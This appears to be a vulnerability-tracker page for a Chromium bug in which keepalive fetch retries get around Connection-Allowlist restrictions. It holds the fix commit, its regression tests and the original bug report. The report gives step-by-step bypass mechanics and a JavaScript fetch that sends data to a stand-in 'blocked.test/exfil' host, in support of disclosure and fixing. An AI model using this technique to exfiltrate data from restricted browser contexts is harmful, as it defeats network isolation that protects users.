Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactIncorrect authorization in Network
DescriptionIncorrect authorization in Network
ComponentNetwork
Bug ClassLogic Error
Tracker497338168
Fix commitf32637e666d6 (chromium/src) +121/-2
CISA KEVNot listed
CreditedGoogle
Disclosed2026-08-25

Changed Functions

FunctionChangeNotes
TEST_F
content/browser/loader/keep_alive_url_loader_service_unittest.cc
modified

Files Changed

  • content/browser/loader/keep_alive_url_loader.cc
  • content/browser/loader/keep_alive_url_loader.h
  • content/browser/loader/keep_alive_url_loader_service_unittest.cc
From f32637e666d60dcb31153d775cb431596887b852 Mon Sep 17 00:00:00 2001
From: Shivani Sharma <shivanisha@chromium.org>
Date: Wed, 22 Jul 2026 07:57:17 -0700
Subject: [PATCH] [Connection-Allowlist] KeepAlive Retry issue fix

KeepAliveURLLoader allows a blocked keepalive fetch request to schedule
a retry after the renderer disconnects by dropping the original
Connection Allowlist's access-denied error. If this retry occurs after
the document's network restriction id is cleared (60 seconds after
unload), it permits the previously blocked request.

The fix is to make sure that the initial error is checked before the
request is retried. Since C-A's error code is not in either of the
error code lists checked in IsNetErrorEligibleForRetry() or
IsServerGuaranteedToBeNotReachedYet(), the function
KeepAliveURLLoader::IsEligibleForRetry() returns false.

Bug: 497338168

Change-Id: If67f7ada74c5aba497ccae101b2413245439a533
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8130778
Reviewed-by: Kenichi Ishibashi <bashi@chromium.org>
Commit-Queue: Shivani Sharma <shivanisha@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1666296}
---

diff --git a/content/browser/loader/keep_alive_url_loader.cc b/content/browser/loader/keep_alive_url_loader.cc
index 4028c34..4264fd7 100644
--- a/content/browser/loader/keep_alive_url_loader.cc
+++ b/content/browser/loader/keep_alive_url_loader.cc
@@ -987,6 +987,7 @@
   // received another error signal after this (e.g. OnComplete with error
   // happened, then the disconnection triggers CancelWithStatus).
   url_loader_.reset();
+  last_attempt_completion_status_ = std::nullopt;
 
   // Set a timer to delete self when the max age has been reached. Note that
   // we check if the timer is already set here, because it could've been set
@@ -1216,6 +1217,7 @@
     return false;
   }
 
+  last_attempt_completion_status_ = status;
   // Schedule retry if needed.
   if (MaybeScheduleRetry(status)) {
     return true;
@@ -1359,7 +1361,7 @@
   if (resource_request_.fetch_retry_options.has_value() &&
       resource_request_.fetch_retry_options->retry_after_unload &&
       (IsAttemptingRetry(/*include_failed_retry=*/false) ||
-       MaybeScheduleRetry(/*completion_status=*/std::nullopt))) {
+       MaybeScheduleRetry(last_attempt_completion_status_))) {
     // A retry is already pending or we just scheduled a retry. Don't delete
     // the loader, and instead keep it around for the retry.
     return;
diff --git a/content/browser/loader/keep_alive_url_loader.h b/content/browser/loader/keep_alive_url_loader.h
index 896289e..cdc171a5 100644
--- a/content/browser/loader/keep_alive_url_loader.h
+++ b/content/browser/loader/keep_alive_url_loader.h
@@ -29,6 +29,7 @@
 #include "net/url_request/url_request.h"
 #include "services/metrics/public/cpp/ukm_source_id.h"
 #include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/cpp/url_loader_completion_status.h"
 #include "services/network/public/mojom/url_loader.mojom.h"
 #include "services/network/public/mojom/url_response_head.mojom.h"
 #include "third_party/blink/public/common/features.h"
@@ -356,6 +357,10 @@
                            CookiesClearingWillDeleteRetryingLoader);
   FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest,
                            FailedMaxAttemptWillForwardLastError);
+  FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest,
+                           IneligibleErrorWillNotBeRetriedOnDisconnect);
+  FRIEND_TEST_ALL_PREFIXES(KeepAliveURLLoaderServiceRetryTest,
+                           NoResultWillBeRetriedOnDisconnect);
 
   // These values are persisted to logs. Entries should not be renumbered and
   // numeric values should never be reused.
@@ -506,6 +511,12 @@
   };
   RetryState retry_state_ = RetryState::kNotAttemptingRetry;
 
+  // Stores the completion status of the most recent attempt.
+  // Set in `RetryOrDelayErrorIfNeeded()` when an error occurs, and reset in
+  // `MaybeScheduleRetry()` when a retry is scheduled.
+  std::optional<network::URLLoaderCompletionStatus>
+      last_attempt_completion_status_;
+
   // The last delay used for `retry_timer_` to schedule a retry.
   base::TimeDelta last_retry_delay_;
 
diff --git a/content/browser/loader/keep_alive_url_loader_service_unittest.cc b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
index 350a1ec7..634c9f2 100644
--- a/content/browser/loader/keep_alive_url_loader_service_unittest.cc
+++ b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
@@ -1384,10 +1384,15 @@
   static constexpr base::TimeDelta kMinRetryDeltaForTesting = base::Seconds(10);
   static constexpr double kMinRetryBackoffFactorForTesting = 10.0;
   static constexpr base::TimeDelta kMaxRetryAgeForTesting = base::Days(1);
+  static constexpr base::TimeDelta kDisconnectedLoaderTimeoutForTesting =
+      base::Seconds(30);
 
   void SetUp() override {
     feature_list().InitWithFeaturesAndParameters(
-        {{blink::features::kKeepAliveInBrowserMigration, {}},
+        {{blink::features::kKeepAliveInBrowserMigration,
+          {{"disconnected_loader_timeout_seconds",
+            base::NumberToString(
+                kDisconnectedLoaderTimeoutForTesting.InSeconds())}}},
          {blink::features::kFetchRetry,
           {
               {"max_retry_count",
@@ -1975,4 +1980,105 @@
   EXPECT_FALSE(loader.get());
 }
 
+// Test that when a request completes with an error ineligible for retry, and
+// the renderer subsequently disconnects, the loader will not attempt to retry.
+TEST_F(KeepAliveURLLoaderServiceRetryTest,
+       IneligibleErrorWillNotBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Complete with an ineligible error.
+  loader->OnComplete(
+      network::URLLoaderCompletionStatus(net::ERR_NETWORK_ACCESS_REVOKED));
+
+  // The request is not eligible for retry, but the loader is kept alive to
+  // delay sending the error until max_age is reached.
+  EXPECT_FALSE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  // Disconnects and unbinds the receiver client & remote loader.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because the previous completion status was an ineligible error,
+  // OnDisconnectedLoaderTimerFired should not schedule a retry and should
+  // delete the loader.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 0u);
+  EXPECT_FALSE(loader.get());
+}
+
+// Test that when no completion result is received before renderer
+// disconnection, the loader will attempt a retry upon disconnect timer firing
+// if configured.
+TEST_F(KeepAliveURLLoaderServiceRetryTest, NoResultWillBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Disconnect without completing the request.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/content/browser/loader/keep_alive_url_loader_service_unittest.cc b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
index 350a1ec7..634c9f2 100644
--- a/content/browser/loader/keep_alive_url_loader_service_unittest.cc
+++ b/content/browser/loader/keep_alive_url_loader_service_unittest.cc
@@ -1384,10 +1384,15 @@
   static constexpr base::TimeDelta kMinRetryDeltaForTesting = base::Seconds(10);
   static constexpr double kMinRetryBackoffFactorForTesting = 10.0;
   static constexpr base::TimeDelta kMaxRetryAgeForTesting = base::Days(1);
+  static constexpr base::TimeDelta kDisconnectedLoaderTimeoutForTesting =
+      base::Seconds(30);
 
   void SetUp() override {
     feature_list().InitWithFeaturesAndParameters(
-        {{blink::features::kKeepAliveInBrowserMigration, {}},
+        {{blink::features::kKeepAliveInBrowserMigration,
+          {{"disconnected_loader_timeout_seconds",
+            base::NumberToString(
+                kDisconnectedLoaderTimeoutForTesting.InSeconds())}}},
          {blink::features::kFetchRetry,
           {
               {"max_retry_count",
@@ -1975,4 +1980,105 @@
   EXPECT_FALSE(loader.get());
 }
 
+// Test that when a request completes with an error ineligible for retry, and
+// the renderer subsequently disconnects, the loader will not attempt to retry.
+TEST_F(KeepAliveURLLoaderServiceRetryTest,
+       IneligibleErrorWillNotBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Complete with an ineligible error.
+  loader->OnComplete(
+      network::URLLoaderCompletionStatus(net::ERR_NETWORK_ACCESS_REVOKED));
+
+  // The request is not eligible for retry, but the loader is kept alive to
+  // delay sending the error until max_age is reached.
+  EXPECT_FALSE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  // Disconnects and unbinds the receiver client & remote loader.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because the previous completion status was an ineligible error,
+  // OnDisconnectedLoaderTimerFired should not schedule a retry and should
+  // delete the loader.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 0u);
+  EXPECT_FALSE(loader.get());
+}
+
+// Test that when no completion result is received before renderer
+// disconnection, the loader will attempt a retry upon disconnect timer firing
+// if configured.
+TEST_F(KeepAliveURLLoaderServiceRetryTest, NoResultWillBeRetriedOnDisconnect) {
+  FakeRemoteURLLoaderFactory renderer_loader_factory;
+  MockReceiverURLLoaderClient renderer_loader_client;
+  BindKeepAliveURLLoaderFactory(renderer_loader_factory);
+
+  auto resource_request = CreateResourceRequest(GURL(kTestRequestUrl));
+  network::FetchRetryOptions options;
+  options.max_attempts = 10;
+  options.max_age = base::Days(1);
+  options.retry_after_unload = true;
+  resource_request.fetch_retry_options = options;
+
+  // Loads keepalive request:
+  renderer_loader_factory.CreateLoaderAndStart(
+      resource_request, renderer_loader_client.BindNewPipeAndPassRemote());
+  EXPECT_EQ(network_url_loader_factory().NumPending(), 1);
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+
+  base::WeakPtr<KeepAliveURLLoader> loader =
+      loader_service().GetLoaderWithRequestIdForTesting(
+          FakeRemoteURLLoaderFactory::kRequestId);
+
+  // Disconnect without completing the request.
+  renderer_loader_client.ResetReceiver();
+  renderer_loader_factory.reset_remote_url_loader();
+  {
+    base::RunLoop run_loop;
+    run_loop.QuitWhenIdle();
+    run_loop.Run();
+  }
+
+  // Fast forward by the disconnect timeout so OnDisconnectedLoaderTimerFired
+  // runs.
+  task_environment()->FastForwardBy(kDisconnectedLoaderTimeoutForTesting);
+
+  // Because there was no completion status yet, OnDisconnectedLoaderTimerFired
+  // should schedule a retry and keep the loader alive.
+  EXPECT_EQ(loader_service().NumLoadersForTesting(), 1u);
+  EXPECT_TRUE(loader.get());
+  if (loader) {
+    EXPECT_TRUE(loader->IsAttemptingRetry(/*include_failed_retry=*/false));
+  }
+}
+
 }  // namespace content
Loading diff…

Original Bug Report

reported by vm...@google.com

Connection-Allowlist bypass via KeepAliveURLLoader retry state machine flaw

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A logic flaw in KeepAliveURLLoader allows a blocked keepalive fetch request to schedule a retry after the renderer disconnects by dropping the original access-denied error. If this retry occurs after the document’s network revocation nonce is cleared (60 seconds after unload), the network service’s fail-open design permits the previously blocked request. This enables potential data exfiltration from restricted contexts like Connection-Allowlists or Fenced Frames.

Affected files:

  • services/network/network_context.cc
  • content/browser/loader/keep_alive_url_loader.cc
  • services/network/cors/cors_url_loader_factory.cc
  • content/browser/storage_partition_impl.cc

Estimated timestamp from git blame: 2025-07-16

Summary

There is a potential security vulnerability in the interaction between the KeepAliveURLLoader retry mechanism and document-level network restrictions (like Connection-Allowlist or Fenced Frames). An attacker can bypass these network restrictions by intentionally triggering a blocked keepalive request, unloading the document, and forcing a delayed retry that executes after the document’s security nonce has been cleared from the network service.

Note: The steps described below are theoretical and based on codebase analysis; a working proof-of-concept has not been executed. This attack relies on the kConnectionAllowlists and kFetchRetry features being enabled.

Vulnerability Mechanics

  1. Initial Block: A restricted document initiates a fetch with keepalive: true and retryOptions: { retryAfterUnload: true, maxAge: 86400000 } to a blocked URL. The network service blocks it, sending net::ERR_NETWORK_ACCESS_REVOKED to KeepAliveURLLoader::OnComplete.
  2. Error Delayed: KeepAliveURLLoader::RetryOrDelayErrorIfNeeded checks if the error is retryable. It is not (fatal access error). However, because the renderer is still connected and maxAge hasn’t expired, the loader delays sending the error to avoid timing leaks, starting max_age_handler_timer_ and keeping the loader alive.
  3. Renderer Disconnect: The attacker navigates away, unloading the document. This disconnects the renderer from the KeepAliveURLLoader, starting a 30-second disconnected_loader_timer_. Simultaneously, StoragePartitionImpl schedules a 60-second delayed task to clear the document’s network revocation nonce in the Network Service.
  4. State Machine Flaw: When the 30-second disconnect timer fires, KeepAliveURLLoader::OnDisconnectedLoaderTimerFired sees retry_after_unload is true and calls MaybeScheduleRetry(/*completion_status=*/std::nullopt). Because no status is provided, it bypasses IsNetErrorEligibleForRetry, “forgetting” the fatal ERR_NETWORK_ACCESS_REVOKED error and forcefully scheduling a retry.
  5. Wait for NIK: The retry logic pauses because there is no active document with the original NetworkIsolationKey (NIK).
  6. Nonce Clearance: At 60 seconds, the Network Service clears the document’s nonce from NetworkContext::network_revocation_nonces_.
  7. Bypass: The attacker navigates back to the site, satisfying the NIK requirement. The retry resumes. NetworkContext::IsNetworkForNonceAndUrlAllowed evaluates the request, but because the nonce is no longer in network_revocation_nonces_, it falls back to its fail-open design and returns true. The request to the blocked URL succeeds.

Potential Reproduction Steps

  1. Ensure network::features::kConnectionAllowlists and blink::features::kFetchRetry are enabled.
  2. Serve a document at https://victim.test restricted by a Connection-Allowlist to only allow https://allowed.test/*.
  3. In the restricted document, execute the following JavaScript:
fetch('https://blocked.test/exfil?data=secret', {
  keepalive: true,
  retryOptions: {
    maxAttempts: 10,
    retryAfterUnload: true,
    maxAge: 86400000
  }
});
  1. Navigate the tab to about:blank.
  2. Wait for at least 65 seconds (to allow the 60-second nonce clearance timer to fire).
  3. Navigate the tab back to https://victim.test.
  4. Observe that the retry request is dispatched to https://blocked.test and succeeds, bypassing the allowlist.

Proposed Fix

  1. Fix KeepAliveURLLoader State Machine: In KeepAliveURLLoader::OnDisconnectedLoaderTimerFired, if the request previously completed with a fatal error (currently stored/pending via max_age_handler_timer_), do not call MaybeScheduleRetry(std::nullopt). It should use the actual stored completion status if one exists, which would correctly fail the IsNetErrorEligibleForRetry check.
  2. Harden NetworkContext: Consider changing the fail-open design of IsNetworkForNonceAndUrlAllowed. If a request arrives with an isolation_info.nonce(), and that nonce is completely unknown to the NetworkContext (because it was cleared), it might be safer to fail-closed or validate the lifecycle of the nonce against the request’s origin.

Evaluated with Chrome root at commit: a9cbf6e8b275fe4147435aa905f3b7f5a656f5f0


Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker